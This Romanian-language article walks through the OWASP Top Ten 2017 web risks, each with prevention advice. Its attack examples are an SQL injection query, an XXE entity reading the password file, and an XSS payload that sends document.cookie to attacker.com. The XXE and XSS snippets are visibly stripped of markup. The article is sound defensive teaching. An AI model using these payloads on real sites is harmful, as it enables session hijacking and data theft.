Top 10 atacuri web comune: Primii pași pentru a vă proteja site-ul web

O statistică comună împărtășită adesea de profesioniștii InfoSec este „78% dintre atacuri sunt împotriva aplicației”.

Nu trece o săptămână fără să auzim de încă o breșă sau vulnerabilitate masivă, care afectează milioane de utilizatori din toate industriile. Indiferent dacă această cifră este exactă sau dacă, de fapt, este într-adevăr doar 74% (sau, mai probabil, mai aproape de 85%), un lucru este clar: site-urile noastre web sunt în pericol, iar dacă al dumneavoastră nu a fost încă atacat este doar o chestiune de timp și bani (și motivația atacatorului).

Un aspect interesant pe care multe dintre aceste atacuri îl au în comun este că nu sunt foarte tehnice și realizabile doar de echipele avansate de hackeri care stau în subsolul NSA. Cea mai frecventă sursă a acestor atacuri este un grup cunoscut sub numele de „script kiddies”, tineri neinstruiți care descarcă pur și simplu seturi de instrumente automate de pe internet și încearcă să spargă orice site la întâmplare care oferă vulnerabilități ușor de exploatat. Chiar și infractorii cibernetici mai pricepuți își încep primele încercări folosind aceleași seturi de instrumente (sau versiuni ușor mai avansate ale acestora).

De ce ar trebui să ne pese? Pentru că acest lucru înseamnă că atacurile cele mai frecvente și vulnerabilitățile cel mai frecvent exploatate vor fi întotdeauna primul și cel mai slab lanț al apărării noastre.

În consecință, acesta trebuie să fie, de asemenea, punctul în care ne concentrăm eforturile inițiale de consolidare a acestei apărări. Din fericire, se întâmplă să fie, de asemenea, cel mai ușor de testat și de asigurat cel puțin un nivel minim de securitate.

Aceste vulnerabilități comune au fost adunate într-o listă „Top Ten” de către voluntarii prietenoși de la OWASP – Open Web Application Security Project, o organizație caritabilă non-profit la nivel mondial, axată pe îmbunătățirea securității software-ului.

În timp ce această listă Top Ten nu este cu adevărat o „listă de verificare a securității”, ea este adesea primul set de vulnerabilități pe care atacatorii îl vor încerca. De asemenea, există o multitudine de instrumente automate care vă vor scana site-ul web în slujba atacatorilor, permițându-le acestora să descopere rapid defectele critice care le vor permite accesul la bunurile dvs. de valoare.

Iată care sunt cele mai importante 10 riscuri de securitate pentru aplicații ale OWASP, ediția 2017:

1. Injectarea

Un atacator poate fi capabil să manipuleze aplicația dvs. web pentru a modifica comenzile transmise subsistemelor sale, prin simpla trimitere de cereri malformate cu sarcini utile alterate. Cel mai cunoscut dintre aceste atacuri este SQL Injection, în care un utilizator al site-ului dvs. web poate face ca aplicația dvs. să schimbe acest lucru:

select * from users where username=’AviD’ and password=’1234′
în acest lucru:
select * from users where username=’Admin’

Acest lucru permite atacatorului să se conecteze la aplicația dvs. ca administrator, fără a cunoaște măcar parola. Alte utilizări ale acestui atac ar fi să fure secrete (sau bani), să modifice date sau chiar să șteargă toate urmele activității.

Alte forme includ LDAP Injection, XPath Injection, Command Injection, SMTP Injection – de fiecare dată când aplicația concatenează intrările nesigure ale utilizatorului într-o comandă care este transmisă unui interpretor. Datele anormale pot păcăli interpretul să execute comenzi neintenționate sau să acceseze date fără autorizația corespunzătoare.

Aceste atacuri pot fi, de obicei, prevenite destul de ușor prin respectarea câtorva principii:

• Validați toate datele de intrare nesigure cu o abordare de tip white-list, indiferent de sursă.
• Accesați întotdeauna baza de date doar cu interogări parametrizate și proceduri stocate, în loc să concatenați o interogare de tip șir de caractere.
• Mai bine, folosiți o bibliotecă ORM (Object Relational Mapping) adecvată (cum ar fi Hibernate, Entity Framework, ActiveRecord pentru a numi câteva, în funcție de platformă).
• Limitați pagubele potențiale ale unei exploatări reușite prin reducerea privilegiilor aplicației pentru baza de date.

2. Autentificare defectuoasă

Majoritatea aplicațiilor necesită ca utilizatorii lor să se autentifice înainte de a le utiliza, adesea cu o combinație nume de utilizator/parolă. Există mai multe tipuri de defecte comune cu acest sistem de autentificare, care pot fi exploatate într-o varietate de moduri: atacuri de dicționar, forță brută automatizată, umplutură de credențiale, deturnare de sesiune și multe altele.

Un atacator care reușește să ghicească o parolă validă ar putea să se dea drept acel utilizator și să efectueze orice acțiune pe care victima sa ar putea să o facă – fără a se putea face diferența între atacator și victimă.

Pentru a preveni acest lucru este nevoie de o abordare pe mai multe niveluri:

• Schimbați toate parolele implicite.
• Impuneți parole puternice și aleatorii pentru toți utilizatorii: cel puțin 12 caractere aleatorii, fără constrângeri, de preferință stocate într-un manager de parole; sau, alternativ, o frază de parolă cu cel puțin 5 cuvinte aleatorii.
• Limitați încercările de conectare, blocând contul de utilizator pentru o perioadă de timp după un anumit număr de parole greșite.
• Utilizați un manager de sesiune al platformei securizate, care generează în mod aleatoriu identificatori de sesiune lungi și implementează un ciclu de viață securizat al sesiunii.
• Protejați parolele cu un algoritm criptografic de „hașurare a parolei”, cum ar fi Bcrypt, scrypt sau Argon2.

De asemenea, luați în considerare implementarea autentificării cu mai mulți factori pentru a atenua atacurile bazate pe parolă și nu permiteți unui atacator să vă ocolească parola cunoscând numele pisicii dvs. în pagina „Am uitat parola”. Există câteva detalii suplimentare care pot fi relevante, în funcție de arhitectura și contextul dvs. specific.

3. Expunerea datelor sensibile

Datele secrete trebuie, de obicei, să fie protejate cu criptare și alți algoritmi criptografici. Cu toate acestea, acest lucru este prea des implementat, dacă este implementat, într-o manieră incompletă, permițând atacatorilor să pună mâna pe informații sensibile pe care nu ar trebui să le poată obține, inclusiv parole, cărți de credit, informații personale (PII) și alte date critice pentru afaceri.

Câteva defecte comune includ necriptarea datelor; crearea unei scheme de criptare personalizate în loc de algoritmi și protocoale standard; utilizarea de chei slabe; expunerea cheilor de criptare; și neimplementarea corectă a protocoalelor, de ex.de exemplu, nevalidarea unui certificat TLS.

Utilizarea unor controale criptografice adecvate (cum ar fi criptarea AES pentru datele stocate și TLS cu HSTS activat pentru trafic), cu parametrii corecți, ar trebui să vă protejeze amplu datele sensibile atât în repaus, cât și în tranzit.

4. Entități externe XML (XXE)

De multe ori, aplicațiile trebuie să primească și să proceseze documente XML de la utilizatori. Analizoarele XML vechi sau prost configurate pot activa o caracteristică XML cunoscută sub numele de referințe de entități externe în cadrul documentelor XML, care, atunci când sunt evaluate, vor încorpora conținutul unui alt fișier. Atacatorii pot abuza de acest lucru pentru a citi date confidențiale, pentru a accesa sisteme interne și chiar pentru a opri aplicația într-un atac de tip Denial of Service (DoS).

De exemplu, un document XML care conține acest lucru:

]>&xxe;

ar include conținutul fișierului de parole în cadrul documentului XML.

Acest lucru poate fi prevenit prin simpla dezactivare a evaluării DTD și a entităților externe în parser, sau prin actualizarea la o bibliotecă de parser modernă care nu este vulnerabilă.

5. Controlul accesului stricat

Majoritatea aplicațiilor web limitează ceea ce pot vedea sau face utilizatorii, fie că este vorba de accesarea datelor personale ale unui alt utilizator sau a unei zone restricționate.

Cu toate acestea, mecanismele de control al accesului care impun aceste limite sunt de obicei implementări pe măsură și adesea profund defectuoase. Atacatorii pot ocoli aceste controale sau pot abuza de ele pentru a accesa funcționalități sau date neautorizate, cum ar fi accesul la conturile altor utilizatori, vizualizarea fișierelor sensibile, modificarea datelor altor utilizatori, efectuarea de acțiuni administrative și multe altele.

Repararea și prevenirea defectelor de control al accesului necesită într-adevăr o viziune sistemică. Este necesară o analiză completă și aprofundată a tuturor caracteristicilor aplicației, a cerințelor de sistem, a rolurilor utilizatorilor și a altor constrângeri. Există diverse modele comune care pot fi aplicate, în funcție de cerințe. Cele mai comune includ controlul accesului bazat pe roluri (RBAC), controlul accesului discreționar (DAC) și controlul accesului bazat pe integritate sau controlul accesului obligatoriu (MAC).

Alte modele mai de nișă pot fi bazate pe atribute (ABAC), politici (PBAC), context (CBAC) și clasificare (există mai multe modele, în special în cadrul DoD), precum și diverse alte scheme personalizate. Este important ca modelul de control al accesului să fie bine conceput, astfel încât să poată fi aplicat în mod uniform și administrat eficient. Porniți de la principiul privilegiului cel mai mic și autorizați numai atunci când este necesar.

În plus, multe sisteme trebuie să ia în considerare aplicarea controalelor privind accesul la datele personale ale utilizatorilor din perspectiva confidențialității. Devine și mai important să se păstreze în mod adecvat confidențialitatea utilizatorilor și să se prevină accesul fără consimțământ, în special în lumina actualizării GDPR al UE.

6. Configurarea eronată a securității

Serverele și aplicațiile au o mulțime de părți mobile care trebuie să fie toate configurate corespunzător. Acest lucru se aplică la toate nivelurile stivei de aplicații, de la sistemul de operare și dispozitivele de rețea până la serverul web și aplicația în sine.

Configurările implicite, incomplete sau ad-hoc pot lăsa fișierele neprotejate, parolele implicite activate, serviciile cloud deschise și scurgerea de informații sensibile prin mesaje de eroare sau anteturi HTTP, precum și numeroase alte setări nesigure care ar putea permite unui atacator să obțină acces la sistem sau la date.

Desigur, nu există o singură setare care să împiedice această vulnerabilitate. Toate setările potențial vulnerabile ar trebui să fie revizuite. Rețineți că acest lucru include, de asemenea, actualizări și patch-uri de sistem în timp util!

7. Cross-Site Scripting (XSS)

Utilizând XSS, un atacator poate modifica paginile web pe care alți utilizatori le văd în aplicația dumneavoastră, fie că este vorba de a fura informații precum parole și cărți de credit, de a răspândi date false, de a deturna sesiuni de utilizator, de a redirecționa către un alt site sau de a executa scripturi malițioase în browserul victimei.

Această vulnerabilitate poate apărea ori de câte ori date nesigure sunt incluse într-o pagină web sau într-un răspuns, fără o validare sau o dezinfectare corespunzătoare. Atacatorul poate trimite formulare cu fragmente HTML sau JavaScript, care vor fi încorporate direct în pagină și redate de browser.

De exemplu, acest cod de server:

response.write(„Bună dimineața, ” + request.getParameter(„Name”)));

încorporează parametrul Name al utilizatorului direct în ieșire. Acest lucru este menit să returneze următoarea pagină, dacă numele utilizatorului este „John”:

Bună dimineața, John

În schimb, un atacator poate injecta un payload malițios:

Bună dimineața, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

care va fi executată de browserul utilizatorului, trimițând cookie-ul de sesiune al acestuia atacatorului și permițându-i acestuia să deturneze sesiunea.

Principala protecție împotriva atacurilor XSS este utilizarea unei codificări adecvate. De exemplu, codificarea HTML va transforma toate caracterele „speciale” în entități HTML, astfel încât acestea să fie afișate la fel pentru utilizator, dar să nu fie recunoscute de parser ca fiind etichete HTML valide. Cu toate acestea, există și alte forme de codificare care ar trebui să fie utilizate în funcție de contextul specific al ieșirii datelor – de exemplu, codificarea atributelor, codificarea JavaScript, codificarea CSS și așa mai departe. Majoritatea platformelor web moderne oferă această funcționalitate în mod automat sau ca un apel de funcție, și există o mulțime de biblioteci de securitate pentru cele care nu o fac.

În plus, este o idee bună să se implementeze Politica de securitate a conținutului (CSP), pentru a preveni ca browserul să redea un atac XSS care a reușit să treacă. De asemenea, configurați cookie-urile de sesiune (fie în codul aplicației, fie în configurația serverului web) pentru a include atributul HttpOnly, de la împiedicarea exploatărilor XSS reușite de a deturna sesiunile utilizatorilor dumneavoastră.

8. Deserializarea nesigură

Cea mai nouă adăugire la această listă, Deserializarea nesigură poate permite atacuri de injecție și escaladarea privilegiilor, și chiar poate duce la executarea de cod de la distanță și preluarea controlului serverului în anumite situații.

Multe aplicații trebuie să serializeze obiecte și date într-un format care poate fi transmis cu ușurință pe fir, sau chiar persistat într-un fișier. Atunci când o aplicație restaurează aceste obiecte înapoi în memorie prin deserializarea datelor formatate primite de la un utilizator, ar putea fi posibilă manipularea memoriei obiectului și chiar determinarea acestuia să execute funcții arbitrare.

Cel mai bun mod de a evita deserializarea nesigură este să nu deserializați niciodată obiecte din date nesigure! Este mult mai bine să evitați cu totul formatele native de deserializare atunci când este posibil, preferând în schimb un format de date cum ar fi XML sau JSON.

Dacă este necesar să deserializați din formatul nativ, pentru a putea face acest lucru în siguranță este necesară înțelegerea elementelor interne ale limbajului dumneavoastră de programare. Sunt necesari diferiți pași pentru a face acest lucru în siguranță, în funcție de limbajul în care a fost dezvoltată aplicația dvs. De exemplu, în Java puteți subclasa clasa java.io.ObjectInputStream. În plus, este recomandat să deserializați numai din date pe care aplicația dvs. le-a semnat digital.

9. Utilizarea componentelor cu vulnerabilități cunoscute

Software-ul modern nu mai este construit ca un monolit – el se bazează întotdeauna pe un număr din ce în ce mai mare de componente terțe, cadre și biblioteci open source. Orice vulnerabilități cunoscute găsite în aceste dependențe vă pot afecta direct și propria aplicație! Uneori, acest lucru va duce la alte vulnerabilități de pe această listă, cum ar fi injectarea, executarea de cod de la distanță sau orice alt defect care ar putea permite atacatorilor să acceseze date sau acțiuni sensibile.

Recent, tocmai o astfel de problemă a fost învinuită pentru încălcarea masivă a securității Equifax, unde nu au instalat un patch pentru Apache Struts2. În schimb, au rămas pe o versiune despre care se știa că permite atacatorilor de la distanță să execute comenzi arbitrare.

Cel mai bun mod de a evita să cădeți în această capcană este să vă revizuiți toate dependențele (inclusiv dependențele tranzitive) și să verificați dacă vreuna dintre ele este în prezent vulnerabilă. Implementați un proces pentru a vă asigura că aplicația dvs. extrage întotdeauna cele mai recente versiuni stabile ale tuturor bibliotecilor și componentelor dependente după ce le testați. De fapt, există în prezent numeroase instrumente comerciale care pot urmări acest lucru pentru echipa dumneavoastră, precum și programul gratuit Dependency-Check al OWASP.

10. Înregistrare insuficientă & Monitorizare

În timp ce încercăm să ne facem sistemele imune la toate atacurile posibile, în mod realist trebuie să acceptăm că unele atacuri vor trece de apărarea noastră. Cu toate acestea, o apărare rezilientă ar trebui să includă mai multe straturi. Aceasta include posibilitatea de a detecta acele atacuri care au reușit în ciuda tuturor eforturilor noastre, de preferință cât mai curând posibil.

Acest lucru ar putea permite totuși unei organizații să se recupereze în urma atacului, sau chiar să minimizeze daunele pe cât posibil. Un mecanism de logare și monitorizare, combinat cu un răspuns eficient la incidente, poate împiedica atacatorii să pivoteze către resurse interne suplimentare, să se integreze permanent în organizație și îi poate inhiba să fure sau să modifice și mai multe date.

Implementați un mecanism de logare comun pentru întreaga aplicație. Cel mai bine este să folosiți o bibliotecă existentă, cum ar fi log4J, dar nu este obligatoriu. Mecanismul de logare ar trebui să colecteze toate acțiunile inițiate de utilizator, erorile din timpul execuției și orice alte evenimente sensibile. Asigurați-vă că datele din jurnal sunt bine protejate și nu uitați să puneți la dispoziția administratorilor o interfață de căutare și revizuire!

Veste bună este că majoritatea acestor probleme sunt relativ simple și ușor de prevenit dacă știți ce să căutați. Prin urmare, deși aceasta nu este o listă completă a tuturor problemelor de securitate la care ar trebui să fiți atenți, este cu siguranță unul dintre cele mai bune locuri pentru a începe expediția către un site web protejat!

.